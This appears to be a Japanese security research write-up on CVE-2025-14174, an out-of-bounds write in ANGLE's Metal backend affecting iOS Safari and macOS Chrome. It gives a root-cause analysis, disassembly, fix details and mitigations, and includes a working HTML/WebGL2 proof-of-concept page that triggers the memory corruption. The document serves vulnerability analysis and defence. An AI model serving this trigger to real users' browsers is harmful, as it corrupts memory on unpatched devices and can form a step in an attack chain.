
CVE-2025-14174 の分析と PoC - ANGLE Metal の領域外書き込み (iOS Safari、macOS Chrome)
CVE-2025-14174 の技術分析と概念実証
| CVE | CVE-2025-14174 |
| 重大度 | 高 |
| 実地での悪用 | あり - iOS 26 未満への標的型攻撃 |
| 影響を受ける製品 | iOS Safari、macOS Chrome/Chromium/Electron(macOS Safari を除く) |
| ステータス | ANGLE コミット 95a32cb で修正済み |
| クレジット | Apple、Google Threat Analysis Group |
Apple によると、CVE-2025-14174 は iOS 26 より前の iOS バージョンに対する 「特定の標的個人に向けた極めて高度な攻撃」 の一部として悪用されました。
攻撃チェーンには以下が含まれていました:
ANGLE の Metal バックエンドでは、ステージングバッファを介して深度テクスチャをアップロードする際に、範囲外(OOB)書き込みの脆弱性が存在します。ステージングバッファのサイズは、実際のテクスチャの高さではなく GL_UNPACK_IMAGE_HEIGHT を使用して計算されます。UNPACK_IMAGE_HEIGHT < height の場合、ANGLE は小さすぎるバッファを割り当て、その後 height 行分の書き込みを行うため、レンダラープロセスで GPU メモリの破損が発生します。
この脆弱性は、WebGL に ANGLE の Metal バックエンド を使用するアプリケーションに影響します:
iOS の Safari は影響を受けます。 iOS では、WebKit は WebGL バックエンドとして ANGLE を使用するため、iPhone と iPad の Safari に脆弱性があります。
macOS の Safari は影響を受けません。 macOS では、Safari は Metal に直接インターフェースする WebKit 独自のネイティブ WebGL 実装を使用しており、ANGLE を完全にバイパスします。
macOS の Chrome は影響を受けます。 テスト中、macOS 26.1 で実行されている Google Chrome は、WebGL に ANGLE の Metal バックエンドを使用しているため、脆弱であるように見えました。
脆弱なコードパスは ANGLE の TextureMtl クラス(setSubImageImpl / setPerSliceSubImage / SaturateDepth)に存在します。
| 重大度 | 説明 |
|---|---|
| 確認済み | GPU/Metal バックエンドによるステージングバッファの終端を超えた書き込み |
| 確認済み | WebGL2 + PBO + DEPTH_COMPONENT32F で再現可能 |
主な特徴:
NO_ERROR を返す)D32F 深度テクスチャのアップロードパスでは、ANGLE は GL_UNPACK_IMAGE_HEIGHT から pixelsDepthPitch を計算し、この値を使用してステージング MTLBuffer のサイズを決定します。ただし、後続のコンピュートディスパッチ(深度飽和)は操作に実際のテクスチャの高さを使用するため、パラメータが異なる場合に OOB 書き込みが発生します。
width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F の場合:
以下のすべてが真である必要があります:
DEPTH_COMPONENT32F(確認済み。他の深度形式も影響を受ける可能性がありますが、未テストです)PIXEL_UNPACK_BUFFER にバインドされたピクセルバッファオブジェクト(PBO)GL_UNPACK_IMAGE_HEIGHT が実際のテクスチャの高さより小さい値に設定されているGL_UNPACK_IMAGE_HEIGHT は GL 仕様では 2D テクスチャではなく 3D/配列テクスチャのアップロードに影響を与えるものとして定義されています。TEXTURE_2D の場合:
UNPACK_IMAGE_HEIGHT < height を拒否しませんWebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
│
▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│ └── TextureMtl::setSubImageImpl
│ └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│ └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...) ← UNDERSIZED
│
└── SaturateDepth
├── getComputeCommandEncoder()
├── setBuffer(stagingBuffer, index=2)
└── dispatchThreads(MTLSize{width, actualHeight}) ← USES REAL HEIGHT
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov x2, x19 ; x2 = size (undersized depthPitch)
0x272fac5c4: bl #0x272ef19bc ; call MakeBufferWithStorageMode
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr x20, [sp, #0x48] ; load depthPitch from stack
0x22c6d4628: bl MakeBufferWithStorageMode
SaturateDepth 関数は、その後、実際のテクスチャ寸法を使用して Metal コンピュートシェーダーをディスパッチし、小さすぎるステージングバッファを超えて書き込みます。
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');
const width = 256, height = 256;
const unpackHeight = 16; // << smaller than actual height
// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);
// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);
// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
width, height, 0,
gl.DEPTH_COMPONENT, gl.FLOAT, 0
);
// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>
脆弱なシステムでの期待される結果: gl.getError() は、GPU プロセスで OOB 書き込みが発生しているにもかかわらず NO_ERROR を返します。
ANGLE コミット 95a32cb は、ステージングバッファの割り当てを実際のテクスチャ寸法を使用するように修正しています:
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));
// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));
さらに、ブリット操作の srcBytesPerImage 計算も修正されました:
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;
この脆弱性は JavaScript からは検出が困難です:
NO_ERROR を返します| アプローチ | 説明 |
|---|---|
| 更新 | ANGLE 修正を含むプラットフォームアップデートを適用する |
| 回避策 | 深度テクスチャでは UNPACK_IMAGE_HEIGHT を実際の高さより小さく設定しない |
| 多層防御 | UNPACK_IMAGE_HEIGHT == height となる固定サイズのアップロードを使用する |
脆弱性の発見: Apple、Google Threat Analysis Group
技術的分析: 本稿は、この脆弱性に関する独立した調査とリバースエンジニアリングを文書化したものです。
本分析は SpiderWebKit セキュリティ研究プロジェクトの一環として実施されました。
| プラットフォーム | ソフトウェア | 影響 | 備考 |
|---|
| iOS | Safari | あり | iOS の WebKit は WebGL に ANGLE Metal を使用 |
| macOS | Chrome / Chromium | あり | ANGLE Metal バックエンドを使用 |
| macOS | Electron アプリ | あり | Chromium の ANGLE 実装を使用 |
| macOS | Safari | なし | ANGLE ではなく WebKit ネイティブの Metal WebGL を使用 |
| メモリプレッシャー下での GPU プロセスクラッシュまたはコンテキスト喪失 |
| 理論上 | GPU メモリ内のリソース間破損(実証されていない) |
| パラメータ | 計算 | 値 |
|---|
| 行ピッチ | width * sizeof(float) | 4 バイト |
| ステージングバッファ(割り当て) | rowPitch * UNPACK_IMAGE_HEIGHT | 512 バイト |
| コンピュートディスパッチ(書き込み) | rowPitch * actualHeight | 2048 バイト |
| OOB 書き込み | 2048 - 512 | 1536 バイト |
| 関数 | アドレス | 役割 |
|---|
setSubImageImpl | 0x272fa9028 | 小さすぎる depthPitch を計算 |
setPerSliceSubImage | 0x272fac240 | 小さすぎるステージングバッファを割り当て |
MakeBufferWithStorageMode | 0x272ef19bc | 誤ったサイズの MTLBuffer を作成 |
SaturateDepth | 0x272facfa4 | 実際の寸法でコンピュートをディスパッチ |
| 関数 | アドレス | 役割 |
|---|
setSubImageImpl | 0x22c6d10f4 | 小さすぎる depthPitch を計算 |
setPerSliceSubImage | 0x22c6d4398 | 小さすぎるステージングバッファを割り当て |
MakeBufferWithStorageMode | 0x22c619490 | 誤ったサイズの MTLBuffer を作成 |
SaturateDepth | 0x22c6d5144 | 実際の寸法でコンピュートをディスパッチ |